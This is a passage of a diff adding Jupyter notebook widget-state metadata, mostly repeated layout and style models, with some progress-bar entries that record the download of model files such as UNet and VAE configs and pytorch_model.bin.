+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "245a11e3ca454d26895c46a5c08be822": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "2496cd9b6ee640f8a6d398b7a56f93b7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_fc5d5de2233543eba400877e7891977a",
+            "max": 50,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_f9a2bf4d86ab403d9e1c7378e91bf467",
+            "value": 50
+          }
+        },
+        "260d5617f5e247f3a978a28d5fe72740": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "26aac0b253ba4e2e8f19acfa0bead5a7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "26b8bf61f8e44014a005ed10835f68b5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "2733152e7214400abdf0e793358181b3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "28cd65b9d6f946abab83e430ab6d2017": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "29f58c06e0474f4e8f411aaaceb4d7f7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "2c63224632c04b159f2c9453e4ca3c15": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_68b6a1a9d4c7422d9263e00cbd956be1",
+            "placeholder": "​",
+            "style": "IPY_MODEL_c79ef9b35d014fdfb9f88fc09e870d01",
+            "value": "Downloading (…)_encoder/config.json: 100%"
+          }
+        },
+        "2e9985de92164304b5b4c8b723d24cf1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "30f32feefcbd486c86cb68c927dd9fca": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1923427b93ae424bb5d91bab418506a9",
+            "placeholder": "​",
+            "style": "IPY_MODEL_c99c614b55ba44fbb2927642128fba9b",
+            "value": "Downloading (…)0d5/unet/config.json: 100%"
+          }
+        },
+        "32e55f352157421aa3e1fef5819b3587": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "341f088c9e0f4eb2ae3f4868b4dcb835": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "34714076cb4b479eab2c5ec6a6c7d50e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "35b84a2a8e0749268b14492abcf0af1f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "3634354fd978434bbad0fd11d3e0b5fb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "37735d14a2614ffbbceaef743d2033a9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_341f088c9e0f4eb2ae3f4868b4dcb835",
+            "placeholder": "​",
+            "style": "IPY_MODEL_2733152e7214400abdf0e793358181b3",
+            "value": "Downloading pytorch_model.bin: 100%"
+          }
+        },
+        "379e92c07edc4ad28165c8b0926746d5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_06a9b1722db8473597c3a6cf17dafa29",
+            "max": 12,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_621ceb287f8243f5a2952613c01f3f82",
+            "value": 12
+          }
+        },
+        "37af49a1966045ee992e01f45ff5df81": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "37ceac6f039642cab04a03a8afb9f301": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3a0dacdec71447a490820baf3a405580": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3bc08cdf09a84428a51955f2aa42ea30": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_0a8793f9c57f48b299703b7945163b50",
+            "placeholder": "​",
+            "style": "IPY_MODEL_edb8b182bc4a413185e754aae38ee93a",
+            "value": "Downloading (…)a0d5/vae/config.json: 100%"
+          }
+        },
+        "3d17c5e7b942485d9ca1db572c06afe5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3eec3e2c3abe40efb74a05a67bf755a0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3eee3667ff024f2a875dcf57f00d7f70": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "3f94af984ba84b838643b03caf8d2d4e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_dba967ac191d45a0b604e93f0dc1fffe",
+            "placeholder": "​",
+            "style": "IPY_MODEL_f8cc05786ad94dcca69f1fedf6d4aa4a",
+            "value": " 167M/167M [00:02&lt;00:00, 59.2MB/s]"
+          }
+        },
+        "406fd8a742b443968d3f2fc1d3dbfef1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7d9b49d6dbfc41988b2c3c6ac40a3cae",
+            "placeholder": "​",
+            "style": "IPY_MODEL_35b84a2a8e0749268b14492abcf0af1f",
+            "value": " 1.06M/1.06M [00:00&lt;00:00, 3.64MB/s]"
+          }
+        },
+        "41c2930f406d484ca7e1e8a4c13f9b35": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_12808180b0b64ecd90839c791134b5fb",
+            "placeholder": "​",
+            "style": "IPY_MODEL_115b71885ef241fb8884e8de28dfdb8c",
+            "value": " 525k/525k [00:00&lt;00:00, 2.90MB/s]"
+          }
+        },
+        "42ad2fe1e9ee44dcb9d3b7c6af9a87a1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "43aa766628a147548714ef986c9d979a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "45e95708fe6043c68fd25d8802778998": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "45ed824c2cd746c09e61dc8a2bdd3384": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7d654e85d8794af197e72f905086b9a7",
+            "max": 167399505,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_f3804bde7c974eaf90df71e9fdd3539b",
+            "value": 167399505
+          }
+        },
+        "4ac86feba0924fad8c82be426d774ce4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3a0dacdec71447a490820baf3a405580",
+            "placeholder": "​",
+            "style": "IPY_MODEL_bf0a27e1f6f3454fafa2bb04a16e4ba6",
+            "value": "Fetching 12 files: 100%"
+          }
+        },
+        "4cecf6bc5f294968bcee7bf65896a31d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_28cd65b9d6f946abab83e430ab6d2017",
+            "placeholder": "​",
+            "style": "IPY_MODEL_a432cb1a0bc7418bb90248973e91c452",
+            "value": "100%"
+          }
+        },
+        "4e264808109e4b52983260067550883e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
